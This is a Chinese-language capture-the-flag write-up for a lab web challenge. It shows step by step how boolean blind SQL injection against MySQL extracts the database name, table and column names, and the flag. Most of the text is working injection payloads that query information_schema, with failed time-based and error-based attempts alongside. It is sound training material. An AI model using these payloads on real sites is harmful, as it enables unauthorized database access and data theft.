简单的SQL注入之3

时间:2023-03-09 13:36:06
简单的SQL注入之3

Topic Link

http://ctf5.shiyanbar.com/web/index_3.php

简单的SQL注入之3

1)测试正确值submit:1

简单的SQL注入之3

测试目标和对象要明确:

2)单引号测试(判断存在字符型注入&&数据库是MySQL)

简单的SQL注入之3

3)进一步测试 (and测试)

1' and 1=1# 显示正常

简单的SQL注入之3

1' and 1=2# 显示不正常

简单的SQL注入之3

判断存在注入漏洞

/*************** 一般性测试思路 ***************/

4)测试联合注入

# order by  判断列数n

1' order by 1#     正常页面

简单的SQL注入之3

1' order by 2#     非正常页面简单的SQL注入之3

判断出列数为1,测试回显位

简单的SQL注入之3

测试结果并没有回显位,联合注入查询失败

5)测试时间盲注

# 判断 if 关键字没有被过滤

1' and if(1,1,0)#    页面回显正常

简单的SQL注入之3

1' and if(0,1,0)#      页面回显不正常

简单的SQL注入之3

# 常见时间函数sleep() 、benchmark()被过滤

1' and if(1,sleep(5),0)#

简单的SQL注入之3

1' and if(1,benchmark(100000000000,md5('admin')),0)#

简单的SQL注入之3

# 测试时间盲注查询失败

6)测试布尔盲注

测试发现length()、ascii()、substr()、database()等关键函数没有被过滤,判断存在布尔盲注

测试工具:神器 Burpsuite

爆破数据库长度为4

1' and length(database())=n#     n in(1,2,3,4,5,6,7,8,9.........)

简单的SQL注入之3

简单的SQL注入之3

@ 爆破数据库名

1' and ascii(substr(database(),m,1))=n#

简单的SQL注入之3

第一位:w

简单的SQL注入之3

第二位:e

简单的SQL注入之3

第三位:b

简单的SQL注入之3

第四位:1

简单的SQL注入之3

爆破结果:web1

@ 爆表

爆破表的个数为2

1' and (select count(table_name) from information_schema.tables where table_schema=database())=n#

简单的SQL注入之3

简单的SQL注入之3

爆表

第一个表的字段长度为4

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=n#

简单的SQL注入之3

第二个表的字段长度为5

1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=n#

简单的SQL注入之3

第一个表的字段值为flag

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),m,1))=n#

第1位:f

简单的SQL注入之3

第2位:l

简单的SQL注入之3

第3位:a

简单的SQL注入之3

第4位:g

简单的SQL注入之3

爆字段

flag(表)

字段个数:2

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=n#

简单的SQL注入之3

简单的SQL注入之3

第一个字段长度:4

第二个字段长度:2

1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1))=n#

简单的SQL注入之3

简单的SQL注入之3

简单的SQL注入之3

第一个字段值为:flag

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),m,1))=n#

第1位:f

简单的SQL注入之3

第2位:l

简单的SQL注入之3

第3位:a

简单的SQL注入之3

第4位:g

简单的SQL注入之3

第二个字段值:id

1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1,1),m,1))=n#

简单的SQL注入之3

第1位:i

简单的SQL注入之3

第2位:d

简单的SQL注入之3

爆破字段flag的值

行数:1

1' and (select count(*) from web1.flag)=n#

简单的SQL注入之3

数据长度:26
1' and length((select flag from flag))=n#

简单的SQL注入之3

简单的SQL注入之3

flag:flag{Y0u_@r3_50_dAmn_900d}
1' and ascii(substr((select flag from flag),m,1)) =n#

简单的SQL注入之3

7)基于报错的盲注

测试发现常见报错函数被过滤(查询失效)

1' extractvalue(1,concat(0x7e,(select @@version),0x7e))#

简单的SQL注入之3

1' updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

简单的SQL注入之3

至此,已完成所有的任务,如有疑问欢迎大家随时交流 (*^_^*)